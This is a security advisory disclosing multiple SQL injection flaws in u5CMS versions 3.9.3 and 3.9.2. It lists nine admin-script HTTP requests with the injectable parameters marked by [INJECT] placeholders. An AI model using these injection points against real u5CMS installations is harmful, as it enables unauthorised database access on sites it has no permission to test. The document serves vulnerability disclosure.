u5CMS 3.9.3 Multiple SQL Injection Vulnerabilities


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: Input passed via multiple parameters in multiple scripts is not properly
sanitised before being used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5225
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5225.php


29.12.2014

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1. POST /u5cms/u5admin/copy2.php?name=album HTTP/1.1

   name=album[INJECT]


2. GET /u5cms/u5admin/editor.php?c=start[INJECT] HTTP/1.1


3. GET /u5cms/u5admin/localize.php?name=album[INJECT] HTTP/1.1


4. POST /u5cms/u5admin/meta2.php?typ=a[INJECT]&uri=metai.php HTTP/1.1


5. GET /u5cms/u5admin/metai.php?typ=a&name=album[INJECT] HTTP/1.1


6. GET /u5cms/u5admin/nc.php?name=o[INJECT] HTTP/1.1


7. POST /u5cms/u5admin/new2.php?typ=e HTTP/1.1

   name=test[INJECT]&typ=e


8. POST /u5cms/u5admin/rename2.php?name=album HTTP/1.1

   name=album2[INJECT]&ulinks=yes


9. GET /u5cms/u5admin/rename2.php?name=valbum&newname=valbum2[INJECT]&typ=a HTTP/1.1